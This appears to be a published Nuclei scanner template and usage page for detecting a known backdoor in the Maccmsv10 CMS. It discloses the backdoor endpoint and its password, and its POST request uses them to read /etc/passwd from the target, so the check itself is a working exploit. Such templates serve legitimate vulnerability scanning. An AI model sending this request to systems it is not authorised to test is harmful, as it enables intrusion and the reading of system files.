Maccmsv10 - Backdoor Remote Code Execution

ID: maccmsv10-backdoor

Severity: critical

Author: princechaddha

Tags: maccmsv10,rce,backdoor

Description

Maccmsv10 contains a backdoor which can be exploited by remote attackers. The backdoor is accessible via the ‘/index.php/bbs/index/download’ endpoint and the special ‘getpwd’ parameter value of ‘WorldFilledWithLove’. Exploitation of this vulnerability will allow remote attackers to execute code.

YAML Source

id: maccmsv10-backdoor

info:
  name: Maccmsv10 - Backdoor Remote Code Execution
  author: princechaddha
  severity: critical
  description: Maccmsv10 contains a backdoor which can be exploited by remote attackers. The backdoor is accessible via the '/index.php/bbs/index/download' endpoint and the special 'getpwd' parameter value of 'WorldFilledWithLove'. Exploitation of this vulnerability will allow remote attackers to execute code.
  reference:
    - https://github.com/chaitin/xray/blob/master/pocs/maccmsv10-backdoor.yml
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: maccmsv10,rce,backdoor

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php/bbs/index/download?url=/etc/passwd&name=1.txt&local=1"

    body: "getpwd=WorldFilledWithLove"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "扫描后门"
          - "反弹端口"
          - "文件管理"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022006dcc9a95ea33ea1fff679d9959f1545947130b8fd97df4773454882e6960c0e0220727b2b621cf381a7de7a207dab1c075deecdb92ae853d1e69b1116a03c50126b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/backdoor/maccmsv10-backdoor.yaml"

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